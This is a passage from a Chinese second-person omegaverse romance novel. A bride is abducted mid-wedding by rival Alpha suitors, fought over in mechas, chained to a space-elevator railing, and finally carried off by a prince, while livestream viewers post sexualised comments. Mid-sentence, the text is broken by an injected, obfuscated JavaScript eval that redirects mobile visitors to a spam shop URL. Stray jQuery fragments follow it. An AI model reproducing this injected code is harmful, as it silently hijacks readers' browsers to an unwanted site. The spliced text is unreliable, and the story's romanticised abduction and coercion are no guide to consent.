你趁他们扭打成一团,提起婚纱的裙摆,朝礼堂侧门的廊柱方向跑。

    门廊的阴影就在几步之外,你只要拐过那道弯,就能暂时脱离他们的视线范围。

    你躲在廊柱后面,后背贴着冰凉的石面,心跳快得像擂鼓。

    婚礼现场的直播无人机从头顶掠过,你看到了悬浮屏幕上的弹幕。

    【笑死,新晋元帅抢议长老婆,帝国军部传统艺能又发动了】

    【搞错了,明明是议长先抢的吧?】

    【当年最高元帅萧擎苍在婚礼抢新娘。谁还记得?】

    【她在看什么?她好美……她在跟我对视吗?】

    【我以为萧元帅那个年代才这么疯,行吧,强者为夫,谁打赢了归谁。】

    【腰!你们看她的腰!婚纱被风吹起来的时候那个弧度……我理解议长了,真希望她能直接进入强制配对跟我配上】

    【楼上我懂你!她跑起来像啫喱在颤动……舔屏了,难怪两个S级Alpha抢成狗。搁我我也抢。】

    弹幕像瀑布一样流过。

    你看着那些弹幕,脑子里嗡嗡的。

    穿书快半年了。

    你努力自救、努力学习,你认真做题——你以为自己至少摸清了这个世界一些规则,你知道这个世界Alpha抢Omega是常态,但你没料到……

    你面对的是这样的烂题。

    甚至沈淮的亲姑姑就在婚礼上被抢过。

    难怪全星网都在等着看谁打赢了就把你带走。

    看着那些狂欢的字眼,你只觉得胃里泛起一阵比高空失重还要强烈的恶心。

    谁问过你的想法?!

    你深吸了一口气,想避开直播无人机,突然传来一声闷响。

    沈淮的背重重砸在草地上,家族徽章从身上脱落,在地面上弹了两下碎了。

    盛炽野在他身前站直,军靴踩过碎片,腰背肌肉绷出暴起的棱线。

    暗金色的瞳孔穿过半个草坪的距离精准锁定了你——你藏在廊柱阴影里,但他看你的方式告诉你,他从头到尾都知道你在哪儿。

    盛炽野三步并作两步跨到你面前,一只手揽住你的腰,把你整个人横抱起来。

    军靴底下的推进器在你耳边炸开一声短促的气爆,你被裹着升空。

    视野里:婚礼场地、草地、碎花、散落的香槟瓶、沈淮缓缓从草地上撑起上半身的剪影——所有东西都在急速缩小。

    你看到了沈淮的脸。

    他跪在碎花和泥水之间,桃花眼是一种极其平静的阴沉。眼尾没有笑意,瞳孔黑沉沉的像一口不见底的深井。

    他的右手撑在碎片上,血正从指缝里渗出来。

    你不安地扭动了身体。

    他看着你被抱进那架赤红色机甲的驾驶舱,嘴唇动了一下,你看到了口型。

    “乖乖,等我。”

    炽机甲的舱门在你面前合拢,把你和那张脸隔绝开来。

    驾驶舱内,空间逼仄得令人窒息。

    盛炽野单手把你按在自己身前,一起扣在减震椅上,另一只手戴上头盔连接操控台,拉下安全锁。

    机甲升空的瞬间,强烈的失重感袭来,你还没来得及适应,一股浓烈到几乎化为实质的Alpha信息素便铺天盖地地压了下来。

    那是属于盛炽野滚烫而狂暴的气息,他的信息素迫不及待舔舐你。

    你被这股气息裹挟着,Omega的本能让你浑身发软,连呼吸都变得艰难。

    你的手被按在扶手上时,指尖蹭到了操纵杆旁边一个东西——一条褪了色的编织手绳。

    他俯下身低头,炽热的唇擦过你颈侧跳动的脉搏,带着毫不掩饰的侵略与安抚,轻轻咬了一口。

    “别怕。”他低哑的声音贴在你的耳廓上,胸腔的震动顺着相贴的肌肤传过来,“哥哥带你走。”

    你的背部后臀靠着他的身躯,后腰硌着他的火热,连挣扎的力气都被抽干了。

    你的左手腕开始发烫。

    银白手镯内侧的金属温度在迅速攀升,低头看,蓝光在频率极快地闪烁——它在回传。

    你猛地抬头,透过舷窗看到远处的位置,一架银灰色的轻型机甲正从皇宫北侧的机库升空,推进器尾焰拖出一道冷白色的轨迹,精准地咬住了你们的航线。

    那天温泉里沈淮的声音像潮水一样涌回来:

    “我父亲是在抵抗虫族的战场失踪的……那年我才19岁,中央军校机甲系第一名。”

    麻烦了!

    “先放我下去!”你惊慌失色。

    盛炽野显然也看到了。

    炽机甲猛地拉高高度,引擎声撕开空气,朝着星港的方向仰冲。

    银灰色的影子咬得更紧,推进器的啸叫在万米高空像一把贴着耳膜刮过去的刀。

    高空的颠簸让你几乎站不稳。

    盛炽野一次剧烈的横甩变向,你的肩膀撞上舱壁,安全带的边缘勒进锁骨,疼得你倒抽了一口冷气。你攥着扶手,指甲掐进掌心,耳边的引擎啸叫和金属尖啸混在一起,你根本分不清谁在打谁。

    视野在剧烈摇晃中碎成残影,偶尔余光扫到舷窗外爆开一团火花,下一瞬就是更猛烈的横甩。

    胃里翻江倒海,你死死咬住牙关,靠掌心的刺痛撑着不吐出来。

    盛炽野余光扫到你蜷缩的侧脸,握着操纵杆的指节猛地收紧。

    他咬了一下牙,眼底闪过一丝极深的烦躁与心疼。沈淮的机甲像附骨之疽,每一次变向都精准地卡在他的攻击死角,他根本无法分出足够的精力来护住你。

    再这样下去,机甲的颠簸和信息素的压迫会先把你逼疯。

    你喊了出来:“先放我下去,我要晃晕了!”

    炽机甲悬停在太空电梯中层的一个外置维修平台上。

    盛炽野一把拽开驾驶舱门,把你抱出来放在金属平台。

    冷风瞬间灌进来,你冷得打了个寒颤:“放地面不行吗?”

    他没回你的话,取了一个武装扣,直接把你右手扣在栏杆上。

    “别乱动,掉下去勒住手会疼。”

    他低头看了你一眼——婚纱被半空的气流吹得贴紧身体,你的脖子裸露在外

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709498|208280||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,嘴唇冻得发白。

    他的眉头皱了一下,动作极快脱下身上那件带着体温的军装外套,劈头盖脸地将你严严实实地裹住。

    转身从看你时的灼热瞬间切换到另一种状态:燃到沸点的战意。

    “妹妹,”他嘴角翘了一下,带着滚烫、即将大仇得报的愉悦,“我先去打死他。马上来接你!”

    赤红暗金的机甲腾空而起,迎着从上方追来的银灰色光点。

    你仰头看着,两团光在电梯外壁上方撞在一起。

    金属摩擦的尖啸隔着高空传下来,每一次闪爆都让你眯一下眼。

    你的视线已经开始发糊,精神力跌穿警戒线后整个人像被抽空了骨头,全靠栏杆的武装扣挂着才没软下去。

    直播无人机追过来了。

    三台小型的银色镜头悬浮在平台外围,忠实地记录着一切。

    太空电梯中层,气温逼近零度,穿着婚纱的新娘被锁在栏杆上,头顶是两个S级Alpha在打生打死。

    你看着其中一台无人机的镜头,嘴唇已经开始打颤。

    你停了一下,视线扫过那三台无人机的位置,吸了一口冷空气,嗓子眼像吞了一把碎玻璃:

    “有人吗……”

    你声音虚弱:

    “帮帮我……太冷了。”

    弹幕在你视线边缘疯狂滚动。

    【我来了!】

    【你在哪里啊?直播无人机倒是给一个坐标啊】

    【Alpha就是这样的,打起来什么也不顾,心疼妹妹】

    你的精神力跌穿警戒线的那一刻,后颈腺体深处隐隐跳了一下——萧时澜那天在你精神图景里种下的锚点,像一颗埋在冻土里的种子,在这个瞬间悄无声息地亮了一瞬。

    视野尽头,墨黑色的皇室专用悬浮车低空无声滑入电梯平台的外围通道。

    车门弹开的瞬间,你看到一道人影从车内跃出,军靴落地。

    银白色重型披风被高空气流吹得猎猎翻卷,里面是金色修身马甲和纯白高领衬衫,暗金色流苏领带末端坠着一颗星髓晶。

    银发向后吹散,露出清俊孤绝的脸,丹凤眼垂着看你,目光压抑着焦急,极寒之地燃了很久很久,沉默的温度。

    他跑了过来。

    在你面前停下,俯身扯下那件银白色披风,抖开裹住你。

    披风内侧残留的体温带着冰川雪松的冷冽暖意,边缘垂落的银链落上你裸露的脸上,凉得像冰。

    他单手托住你的后腰,另一只手解开战术扣锁,动作利落,然后将你横抱起来,转身朝悬浮车走去。

    弹幕疯狂闪动起来。

    【太子!!!!】

    【窝草,鹬蚌相争渔翁得利?】

    【太子只是恰好经过吧?你们别乱加戏了!】

    【我宣布,我赞同这门亲事】

    ……

    你靠着他的手臂,闻到了冰川和雪松的清冽,听着他胸腔里沉稳有力的心跳声。

    一颗很重、温凉的眼泪,砸在你冻得冰凉的额头上。

    你的意识坠入了黑暗。